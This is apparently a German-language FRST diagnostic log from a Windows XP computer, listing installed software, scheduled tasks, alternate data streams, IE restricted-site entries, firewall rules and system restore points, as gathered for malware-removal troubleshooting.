MySQL Examples and Samples 5.6 (HKLM\...\{27DB65EA-A1BE-481A-9CE5-6F8D971C20FB}) (Version: 5.6.25 - Oracle Corporation)

MySQL Installer - Community (HKLM\...\{E337B02E-785E-4D32-9E8E-8C1C55DD3811}) (Version: 1.4.8.0 - Oracle Corporation)

MySQL Notifier 1.1.6 (HKLM\...\{CB76A6E9-B184-461D-A8BE-7D0D73199545}) (Version: 1.1.6 - Oracle)

MySQL Server 5.6 (HKLM\...\{88509059-D1CE-4D8B-8EC8-ED51D1F138C7}) (Version: 5.6.25 - Oracle Corporation)

Nero Suite (HKLM\...\NeroMultiInstaller!UninstallKey) (Version:  - )

OLYMPUS Digital Camera Updater (HKLM\...\{2A9E8F56-C31B-4DBB-BFE2-0F4EC8192355}) (Version: 1.0.3 - OLYMPUS IMAGING CORP.)

OLYMPUS Viewer 2 (HKLM\...\{7177EE4E-3D1D-4F45-85B5-B93DC758BA0B}) (Version: 1.1.1 - OLYMPUS IMAGING CORP.)

OpenMG Limited Patch 4.7-07-14-05-01 (HKLM\...\OpenMG HotFix4.7-07-13-22-01) (Version:  - )

OpenMG Secure Module 4.7.00 (HKLM\...\InstallShield_{CCD663AE-610D-4BDF-AAB0-E914B044527D}) (Version: 4.7.00.12140 - Sony Corporation)

OpenMG Secure Module 4.7.00 (Version: 4.7.00.12140 - Sony Corporation) Hidden

Opera 11.50 (HKLM\...\Opera 11.50.1074) (Version: 11.50.1074 - Opera Software ASA)

Opera Stable 19.0.1326.63 (HKLM\...\Opera 19.0.1326.63) (Version: 19.0.1326.63 - Opera Software ASA)

Overland (Version: 2.1.4 - Hewlett-Packard) Hidden

overland (Version: 2.1.5 - HP) Hidden

PDFsam Basic (HKLM\...\{4E4EF242-7FF0-423E-99ED-C96305B840C0}) (Version: 3.0.10.0 - Andrea Vacondio)

PhotoGallery (Version: 5.35.0.059 - Hewlett-Packard) Hidden

PrintScreen (Version: 5.35.0.035 - Hewlett-Packard) Hidden

QFolder (Version: 1.00.0000 - Hewlett-Packard) Hidden

QuickProjects (Version: 5.35.0.047 - Hewlett-Packard) Hidden

QuickTime (HKLM\...\{0E64B098-8018-4256-BA23-C316A43AD9B0}) (Version: 7.72.80.56 - Apple Inc.)

Readme (Version: 40.0.105.000 - Hewlett-Packard) Hidden

RealPlayer (HKLM\...\RealPlayer 6.0) (Version:  - RealNetworks)

RME Fireface (HKLM\...\FIREFACE) (Version: 2.9.992.0 - RME Intelligent Audio Solutions)

Scan (Version: 3.5.0.0 - Hewlett-Packard) Hidden

Sicherheitsupdate für Microsoft Windows (KB2564958) (HKLM\...\KB2564958) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834903) (HKLM\...\KB2834903_WM10L) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834904) (HKLM\...\KB2834904_WM11) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2115168) (HKLM\...\KB2115168) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2229593) (HKLM\...\KB2229593) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2296011) (HKLM\...\KB2296011) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2360937) (HKLM\...\KB2360937) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2387149) (HKLM\...\KB2387149) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2393802) (HKLM\...\KB2393802) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2423089) (HKLM\...\KB2423089) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2440591) (HKLM\...\KB2440591) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2443105) (HKLM\...\KB2443105) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478960) (HKLM\...\KB2478960) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478971) (HKLM\...\KB2478971) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2479943) (HKLM\...\KB2479943) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2481109) (HKLM\...\KB2481109) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2485663) (HKLM\...\KB2485663) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2507938) (HKLM\...\KB2507938) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2535512) (HKLM\...\KB2535512) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2536276-v2) (HKLM\...\KB2536276-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2544893-v2) (HKLM\...\KB2544893-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2566454) (HKLM\...\KB2566454) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2570947) (HKLM\...\KB2570947) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2584146) (HKLM\...\KB2584146) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2585542) (HKLM\...\KB2585542) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2592799) (HKLM\...\KB2592799) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2598479) (HKLM\...\KB2598479) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2603381) (HKLM\...\KB2603381) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2618451) (HKLM\...\KB2618451) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2620712) (HKLM\...\KB2620712) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2631813) (HKLM\...\KB2631813) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2655992) (HKLM\...\KB2655992) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2659262) (HKLM\...\KB2659262) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2686509) (HKLM\...\KB2686509) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2691442) (HKLM\...\KB2691442) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2698365) (HKLM\...\KB2698365) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2712808) (HKLM\...\KB2712808) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2723135-v2) (HKLM\...\KB2723135-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2753842-v2) (HKLM\...\KB2753842-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2758857) (HKLM\...\KB2758857) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2802968) (HKLM\...\KB2802968) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2807986) (HKLM\...\KB2807986) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2820197) (HKLM\...\KB2820197) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2834886) (HKLM\...\KB2834886) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2850851) (HKLM\...\KB2850851) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB923561) (HKLM\...\KB923561) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB941569) (HKLM\...\KB941569) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB946648) (HKLM\...\KB946648) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950762) (HKLM\...\KB950762) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950974) (HKLM\...\KB950974) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB951376-v2) (HKLM\...\KB951376-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB952954) (HKLM\...\KB952954) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956572) (HKLM\...\KB956572) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956844) (HKLM\...\KB956844) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB959426) (HKLM\...\KB959426) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB960859) (HKLM\...\KB960859) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB969059) (HKLM\...\KB969059) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB971657) (HKLM\...\KB971657) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB972270) (HKLM\...\KB972270) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973869) (HKLM\...\KB973869) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973904) (HKLM\...\KB973904) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB974318) (HKLM\...\KB974318) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975467) (HKLM\...\KB975467) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB975713) (Version: 1 - Microsoft Corporation) Hidden

Sicherheitsupdate für Windows XP (KB978338) (HKLM\...\KB978338) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB979309) (HKLM\...\KB979309) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB981997) (HKLM\...\KB981997) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982132) (HKLM\...\KB982132) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB982665) (HKLM\...\KB982665) (Version: 1 - Microsoft Corporation)

SkinsHP1 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

SkinsHP2 (Version: 5.35.0.043 - Hewlett-Packard) Hidden

Smaart 7 (HKLM\...\5E8913DE-2A67-4521-9616-BB9D0FE164B9) (Version: 7.3.0 - Rational Acoustics, LLC)

SonicStage 4.3 (HKLM\...\{A0EB195B-5876-48E6-879D-33D4B2102610}) (Version: 4.3 - Sony Corporation)

Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit) (HKLM\...\Sonnox Restoration Tools for Wavelab VST v1.0.0 (32-bit)_is1) (Version: 1.0.0 - Sonnox Ltd, Oxford, UK)

SoundMAX (HKLM\...\{F0A37341-D692-11D4-A984-009027EC0A9C}) (Version: 5.10.01.4151 - Analog Devices)

Spybot - Search & Destroy (HKLM\...\{B4092C6D-E886-4CB2-BA68-FE5A88D31DE6}_is1) (Version: 1.5.2 - Safer Networking Limited)

Stage Research SFX (HKLM\...\{D0FBD3F4-FEE9-40FB-A2FC-20141F647D42}) (Version: 5.6.23 - Stage Research)

Steinberg Upload Manager (HKLM\...\{88BBBD8F-4C19-4809-B84B-7A8F8238B48D}) (Version: 1.0.0 - Steinberg Media Technologies GmbH)

Suite Specific (Version: 2.0.0 - Adobe Systems, Incorporated) Hidden

Surfing Protection (HKLM\...\IObit Surfing Protection_is1) (Version: 1.2 - IObit)

swMSM (Version: 12.0.0.1 - Adobe Systems, Inc) Hidden

Telenor Software Update Service (Version: 1.0.3.147 - Telenor Corporation) Hidden

Telenorhjelpen (HKLM\...\{83C805EC-99B6-47C5-B542-E53EB5594C22}) (Version: 3.3.1.45 - Telenor)

TextPad 4.7 (HKLM\...\{B510A987-487E-4C66-9F4F-D386AC275715}) (Version: 4.7.2 - Ihr Firmenname)

TrayApp (Version: 5.35.0.035 - Hewlett-Packard) Hidden

Unload (Version: 3.5.0 - Hewlett-Packard) Hidden

Update für Windows XP (KB951978) (Version: 1 - Microsoft Corporation) Hidden

Update für Windows XP (KB955759) (HKLM\...\KB955759) (Version: 1 - Microsoft Corporation)

Update für Windows XP (KB968389) (HKLM\...\KB968389) (Version: 1 - Microsoft Corporation)

VC80CRTRedist - 8.0.50727.6195 (Version: 1.2.0 - DivX, Inc) Hidden

Vimeo Uploader (HKLM\...\vimeo.Duplo.3E2F2984357E7A95AE95C69EF2C5C14640284048.1) (Version: 0.944 - UNKNOWN)

Vimeo Uploader (Version: 0.255 - UNKNOWN) Hidden

Visual C++ Redistributables (HKLM\...\InstallShield_{C2AF7B2D-7018-414B-9B8B-D3C9F3BED04F}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

WaveLab 6 (HKLM\...\WaveLabPro) (Version: 6.1.1.353 - Steinberg)

WavePad Uninstall (HKLM\...\WavePad) (Version:  - )

Waves (Version: 5.9.7.2 - Waves) Hidden

Waves Complete V8r13 (HKLM\...\{80000001-C561-4E32-99EB-3C5AD3683A70}) (Version: 8.0.13 - Waves)

WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden

WebReg (Version: 5.31.0.147 - Hewlett-Packard) Hidden

Winamp (remove only) (HKLM\...\Winamp) (Version:  - )

Windows 7 Upgrade Advisor (HKLM\...\{9A4D182C-35C7-4791-8484-4304EBC9101A}) (Version: 2.0.5000.0 - Microsoft Corporation)

Windows Genuine Advantage Notifications (KB905474) (HKLM\...\WgaNotify) (Version: 1.9.0040.0 - Microsoft Corporation)

Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)

Windows Media Format Runtime (HKLM\...\Windows Media Format Runtime) (Version:  - )

Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)

Windows XP Service Pack 3 (HKLM\...\Windows XP Service Pack) (Version: 20080414.031514 - Microsoft Corporation)

Windows-Treiberpaket - OLYMPUS IMAGING CORP. Camera Communication Driver Package (09/09/2009 1.0.0.0) (HKLM\...\E77704EF5E71F4F18CADFBFA68595AFE036D5D97) (Version: 09/09/2009 1.0.0.0 - OLYMPUS IMAGING CORP.)

WinRAR (HKLM\...\WinRAR archiver) (Version:  - )

WinZip (HKLM\...\WinZip) (Version:  8.1 SR-2  (5791g) - WinZip Computing, Inc.)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{0FB8DE1A-E991-40E5-83CA-5172084B2073}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpISdownsampler.dll (Hewlett-Packard Co.)

CustomCLSID: HKU\S-1-5-21-796845957-1960408961-682003330-1003_Classes\CLSID\{DA7A2849-2E3F-4F87-A1C4-43843592BAED}\InprocServer32 -> C:\Programme\HP\Digital Imaging\bin\hpodcpxe.dll (Hewlett-Packard Company)
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 

Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Programme\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Programme\Google\Update\GoogleUpdate.exe
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Remove Authorization Caches.lnk -> C:\Programme\Waves\Utilities\clear_auth_cache.bat ()

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Waves\Unregister Unauthorized V5 Plug-ins.lnk -> C:\Programme\Waves\Plug-Ins\unregisterunauth.bat (Keine Datei)

Shortcut: C:\Dokumente und Einstellungen\All Users\Startmenü\Programme\Macromedia\Uninstall Macromedia FlashPaper 2.lnk -> C:\WINDOWS\Installer\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}\NewShortcut2_1.D404042C_B1B4_413E_B1C0_526D0BBE80E3.bat (Macromedia)
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2014-09-07 19:43 - 2015-01-09 19:46 - 00517408 _____ () C:\Programme\IObit\IObit Malware Fighter\sqlite3.dll

2004-01-05 11:44 - 2004-01-05 11:44 - 00565248 _____ () C:\WINDOWS\system32\hpotscl.dll
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:biSG7jlOe4kiWcFsw4kKVL1B4 [1748]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:JayWGbyLJ62t4ZxTekMUJWuAv [1940]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:66OGEr4wwL0YXXNz2ot7PZNq [2408]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:7Rh0gvPXnkL8jDl5CvmhExThja [1938]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:pz5aDZabB0h1bSG9Iqs28d3kX [2406]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:Q36zbZrgA8HBAP7URdqHr [2066]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:qU1xRduu5Gmj8cDfVeQpYqum [2392]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise:yhuwxvwhfkxkcqmbzxjuiqjduvsftifh [0]
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\IMFservice => ""="Service"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Wdf01000.sys => ""="Driver"

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Wdf01000.sys => ""="Driver"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 

IE restricted site: HKU\.DEFAULT\...\007guard.com -> install.007guard.com

IE restricted site: HKU\.DEFAULT\...\008i.com -> 008i.com

IE restricted site: HKU\.DEFAULT\...\008k.com -> www.008k.com

IE restricted site: HKU\.DEFAULT\...\00hq.com -> www.00hq.com

IE restricted site: HKU\.DEFAULT\...\010402.com -> 010402.com

IE restricted site: HKU\.DEFAULT\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\.DEFAULT\...\0scan.com -> www.0scan.com

IE restricted site: HKU\.DEFAULT\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\.DEFAULT\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\.DEFAULT\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\.DEFAULT\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\.DEFAULT\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\.DEFAULT\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\.DEFAULT\...\10sek.com -> www.10sek.com

IE restricted site: HKU\.DEFAULT\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\.DEFAULT\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\.DEFAULT\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\.DEFAULT\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\.DEFAULT\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\.DEFAULT\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5207 mehr Seiten.
 

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\007guard.com -> install.007guard.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008i.com -> 008i.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\008k.com -> www.008k.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\00hq.com -> www.00hq.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\010402.com -> 010402.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\0scan.com -> www.0scan.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-2005-search.com -> www.1-2005-search.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1-domains-registrations.com -> www.1-domains-registrations.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1000gratisproben.com -> www.1000gratisproben.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\1001namen.com -> www.1001namen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100888290cs.com -> mir.100888290cs.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\100sexlinks.com -> www.100sexlinks.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\10sek.com -> www.10sek.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-26.net -> user1.12-26.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\12-27.net -> user1.12-27.net

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123haustiereundmehr.com -> www.123haustiereundmehr.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123simsen.com -> www.123simsen.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\123topsearch.com -> www.123topsearch.com

IE restricted site: HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\125sms.co.uk -> www.125sms.co.uk
 

Da befinden sich 5176 mehr Seiten.
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2002-12-31 14:00 - 2016-08-16 17:36 - 00000027 ____A C:\WINDOWS\system32\Drivers\etc\hosts
 

127.0.0.1       localhost
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\Wallpaper -> 

DNS Servers: 10.0.0.138

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^All Users^Startmenü^Programme^Autostart^TP-LINK Wireless Configuration Utility.lnk => C:\WINDOWS\pss\TP-LINK Wireless Configuration Utility.lnkCommon Startup

MSCONFIG\startupfolder: C:^Dokumente und Einstellungen^Julie^Startmenü^Programme^Autostart^z.vbb => C:\WINDOWS\pss\z.vbbStartup

MSCONFIG\startupreg: Adobe Version Cue CS2 => c:\Programme\Adobe\Adobe Version Cue CS2\ControlPanel\VersionCueCS2Tray.exe

MSCONFIG\startupreg: APSDaemon => "C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\APSDaemon.exe"

MSCONFIG\startupreg: DivXMediaServer => C:\Programme\DivX\DivX Media Server\DivXMediaServer.exe

MSCONFIG\startupreg: DivXUpdate => "C:\Programme\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW

MSCONFIG\startupreg: NBJ => "C:\Programme\Ahead\Nero BackItUp\NBJ.exe"

MSCONFIG\startupreg: SunJavaUpdateSched => "C:\Programme\Gemeinsame Dateien\Java\Java Update\jusched.exe"

MSCONFIG\startupreg: Telenorhjelpen => "C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe" -autorun

MSCONFIG\startupreg: TnFtpServer => C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe
 

==================== FirewallRules (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

StandardProfile\AuthorizedApplications: [C:\Program Files\Real\RealPlayer\realplay.exe] => Enabled:RealPlayer

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\mshta.exe] => Enabled:Microsoft (R) HTML Application host

StandardProfile\AuthorizedApplications: [C:\Programme\Opera\opera.exe] => Enabled:Opera Internet Browser

StandardProfile\AuthorizedApplications: [C:\Programme\Gemeinsame Dateien\Apple\Apple Application Support\WebKit2WebProcess.exe] => Enabled:WebKit

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Mailboxen.exe] => Enabled:A1 Webassistent Mailboxen

StandardProfile\AuthorizedApplications: [C:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe] => Enabled:Adobe Version Cue CS2

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\Google\Chrome\Application\chrome.exe] => Enabled:Google Chrome

StandardProfile\AuthorizedApplications: [C:\Programme\Telenor Norway\Telenorhjelpen\Telenorhjelpen.exe] => Enabled:Telenorhjelpen

StandardProfile\AuthorizedApplications: [C:\WINDOWS\system32\java.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Programme\Java\jre7\bin\javaw.exe] => Enabled:Java(TM) Platform SE binary

StandardProfile\AuthorizedApplications: [C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\WinXP tuning\TnFtpSrv\TnFtpSrv.exe] => Disabled:Telnet-Ftp Service Server

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Servicecenter\A1Servicecenter.exe] => Enabled:A1 Servicecenter

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Modemkonfigurator.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1WLANAssistent.exe] => Enabled:A1 Webassistent

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Breitband\A1Breitband.exe] => Enabled:A1 Internet Installation

StandardProfile\AuthorizedApplications: [C:\Programme\A1\A1 Webassistent\A1Webassistent.exe] => Enabled:A1 Webassistent

DomainProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56

StandardProfile\GloballyOpenPorts: [1900:UDP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22007

StandardProfile\GloballyOpenPorts: [2869:TCP] => :LocalSubNet:Disabled:@xpsp2res.dll,-22008

StandardProfile\GloballyOpenPorts: [3306:TCP] => Enabled:MySQL56
 

==================== Wiederherstellungspunkte =========================
 

19-05-2016 12:25:48 Systemprüfpunkt

19-05-2016 21:35:21 Removed TP-LINK Wireless Configuration Utility and Driver

19-05-2016 21:36:41 Removed TP-LINK Wireless Configuration Utility

21-05-2016 15:44:30 Systemprüfpunkt

22-05-2016 16:23:03 Systemprüfpunkt

23-05-2016 17:08:22 Systemprüfpunkt

25-05-2016 15:52:15 Systemprüfpunkt

26-05-2016 20:40:12 Systemprüfpunkt

28-05-2016 22:13:57 Systemprüfpunkt

31-05-2016 11:44:41 Systemprüfpunkt

01-06-2016 16:04:51 Systemprüfpunkt

03-06-2016 09:30:50 Systemprüfpunkt

04-06-2016 16:19:55 Systemprüfpunkt

05-06-2016 19:12:58 Systemprüfpunkt

07-06-2016 13:33:50 Systemprüfpunkt

13-06-2016 11:39:04 Systemprüfpunkt

14-06-2016 17:32:17 Systemprüfpunkt

16-06-2016 08:33:42 Systemprüfpunkt

17-06-2016 16:16:22 Systemprüfpunkt

19-06-2016 15:20:54 Systemprüfpunkt

22-06-2016 12:37:03 Systemprüfpunkt

23-06-2016 13:32:38 Systemprüfpunkt

24-06-2016 13:57:27 Systemprüfpunkt

29-06-2016 16:55:22 Systemprüfpunkt

30-06-2016 21:16:00 Systemprüfpunkt

02-07-2016 15:23:29 Systemprüfpunkt

03-07-2016 17:48:56 Systemprüfpunkt

04-07-2016 17:50:32 Systemprüfpunkt

05-07-2016 21:17:12 Systemprüfpunkt

06-07-2016 23:16:00 Systemprüfpunkt

15-07-2016 10:01:12 Systemprüfpunkt

16-07-2016 15:58:34 Systemprüfpunkt

17-07-2016 16:59:44 Systemprüfpunkt

18-07-2016 17:55:07 Systemprüfpunkt

20-07-2016 21:52:44 Systemprüfpunkt

21-07-2016 23:47:02 Systemprüfpunkt

24-07-2016 13:14:28 Systemprüfpunkt

